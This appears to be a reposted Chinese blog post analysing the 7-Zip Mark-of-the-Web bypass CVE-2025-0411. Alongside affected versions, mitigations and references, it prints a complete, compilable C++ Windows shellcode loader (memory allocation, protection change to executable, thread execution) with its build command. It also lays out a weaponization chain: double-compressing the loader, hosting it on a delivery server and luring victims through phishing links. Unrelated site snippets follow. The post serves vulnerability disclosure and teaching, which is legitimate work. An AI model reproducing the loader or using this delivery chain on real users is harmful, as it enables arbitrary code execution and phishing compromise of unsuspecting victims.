news 2026/6/10 10:47:48

7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
7-Zip Mark-of-the-Web绕过漏洞(CVE-2025-0411)分析与示例

7-Zip Mark-of-the-Web 绕过漏洞 [CVE-2025-0411] - POC

漏洞简介

此漏洞(CVSS 评分为 7.0)允许远程攻击者绕过受影响 7-Zip 安装中的 Mark-of-the-Web(网络标记)保护机制。利用此漏洞需要用户交互,即目标用户必须访问恶意页面或打开恶意文件。具体缺陷存在于处理归档文件时。当从带有网络标记的特制存档中提取文件时,7-Zip 不会将网络标记传播到提取的文件。攻击者可利用此漏洞在当前用户上下文中执行任意代码。

受影响版本

  • 24.09之前的所有版本均被视为易受攻击。

缓解措施

  • 更新 7-Zip:从 7-Zip 官方网站下载并安装 24.09 或更高版本。
  • 谨慎处理不受信任的文件:避免打开来自未知或可疑来源的文件,尤其是压缩存档。
  • 利用安全功能:确保您的操作系统和安全软件配置为检测和阻止恶意文件。

概念验证 (POC)

作为 POC 的一部分,我们实现了一个简单的calc.exe加载器(Shellcode Loader),用于演示代码执行过程。

加载器核心代码

这是一个用 C++ 编写的 Windows Shellcode 加载器。它负责在内存中分配空间,复制并执行 Shellcode。

#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>intmain(){DWORD oldprotect=0;// 存放 Shellcode 的数组 (示例中为 calc.exe 的 Shellcode)unsignedcharp[]={//calc.exe shellcode};// 计算 Shellcode 长度unsignedintlen=sizeof(p);// 在进程中申请可读可写内存void*payload_mem=VirtualAlloc(0,len,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);// 将 Shellcode 复制到申请的内存中RtlMoveMemory(payload_mem,p,len);// 将内存保护属性修改为可执行,防止 DEP 拦截BOOL rv=VirtualProtect(payload_mem,len,PAGE_EXECUTE_READ,&oldprotect);// 如果属性修改成功,则创建线程执行 Shellcodeif(rv!=0){HANDLE th=CreateThread(0,0,(LPTHREAD_START_ROUTINE)payload_mem,0,0,0);// 等待线程执行完毕WaitForSingleObject(th,-1);}return0;}// 编译命令(使用 MinGW-w64):// x86_64-w64-mingw32-g++ .\loader.cpp -o loader.exe -s

漏洞利用方法

利用方法是对可执行文件进行双重压缩,从而触发漏洞。

  1. 武器化:将上述编译好的loader.exe进行两层压缩,制作成 7z 文件。
  2. 投递:将双重压缩的 7z 文件上传到有效载荷投递服务器(示例中为 MediaFire),并通过钓鱼邮件等方式向受害者发送恶意链接。下载后,文件会带有 “MotW”(Zone.Identifier,指示下载来源)。
  3. 执行:受害者需要点击打开多层压缩文件并运行其中的可执行文件。
已修复版本场景

使用 7-Zip 24.09 版本(已修复)打开文件时,会显示 Windows SmartScreen 警告,提示此文件来自不受信任的来源(因为它包含了 MotW)。

易受攻击版本场景

使用 7-Zip 24.07 版本(易受攻击)打开文件时,可以直接执行可执行文件,而不显示任何警告(因为提取的文件不包含 MotW)。

功能特性

本 POC 项目演示了以下核心环节:

  • 漏洞原理复现:展示了 CVE-2025-0411 如何绕过系统安全机制。
  • Shellcode 加载器:提供了一个完整的、可直接编译的 Windows 内存 Shellcode 加载器示例。
  • 完整的攻击链模拟:从载荷准备(压缩)到投递(带 MotW 下载),再到用户交互执行。
  • 版本对比说明:清晰展示了漏洞修复前后的不同行为。

安装与使用说明

本 POC 主要用于安全研究与教学目的。

环境要求

  • Windows 操作系统
  • 一个易受攻击的 7-Zip 版本 (如 24.07)
  • C/C++ 编译器 (如 MinGW-w64),用于编译加载器代码

使用步骤

  1. 编译加载器:使用 MinGW-w64 编译提供的loader.cpp代码,生成loader.exe
    x86_64-w64-mingw32-g++ loader.cpp -o loader.exe -s
  2. 制作恶意存档:使用 7-Zip 24.07 版本将loader.exe压缩两次,生成嵌套的.7z文件。
  3. 模拟投递:将生成的.7z文件放在一个 Web 服务器上,或添加 Zone.Identifier 流以模拟从网络下载。
  4. 测试漏洞:在装有 7-Zip 24.07 的系统上下载并打开该存档,观察文件是否能不经警告直接执行。

免责声明:此代码仅用于教育和授权测试。请勿将其用于非法活动。

参考链接

  • https://www.zerodayinitiative.com/advisories/ZDI-25-045/
  • https://nvd.nist.gov/vuln/detail/CVE-2025-0411
  • https://securityonline.info/cve-2025-0411-7-zip-security-vulnerability-enables-code-execution-update-now/
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/22 21:52:30

Windows系统文件WMPhoto.dll丢失损坏 下载方法

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/6/2 1:09:21

Windows系统文件WMSPDMOD.DLL丢失损坏 下载方法

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/5/29 12:45:01

视程空间采集卡:以像素级精准,赋能全场景智能视界

视程空间采集卡&#xff1a;以像素级精准&#xff0c;赋能全场景智能视界在AI视觉爆发的时代&#xff0c;每一束光影都藏着价值&#xff0c;每一帧画面都关乎决策。当工业检测需要毫米级的精准识别&#xff0c;当直播转播追求零延迟的流畅呈现&#xff0c;当医疗影像依赖无损级…

作者头像 李华
网站建设 2026/4/30 22:52:52

Open-AutoGLM使用体验全曝光(从安装到自动化编码的5大关键点)

第一章&#xff1a;Open-AutoGLM这个软件好不好用Open-AutoGLM 是一款面向自动化自然语言处理任务的开源工具&#xff0c;专为简化大语言模型&#xff08;LLM&#xff09;在实际业务场景中的部署与调优而设计。其核心优势在于提供了直观的配置接口和模块化的任务流水线&#xf…

作者头像 李华
网站建设 2026/6/8 19:18:25

【Open-AutoGLM调用全攻略】:无需API也能高效集成的5种实战方案

第一章&#xff1a;Open-AutoGLM 没有API如何调用的核心逻辑解析在缺乏官方API支持的场景下&#xff0c;调用 Open-AutoGLM 模型依赖于本地部署与直接交互机制。其核心逻辑在于通过模型权重加载、推理引擎初始化以及输入输出管道的手动构建&#xff0c;实现对模型能力的完整访问…

作者头像 李华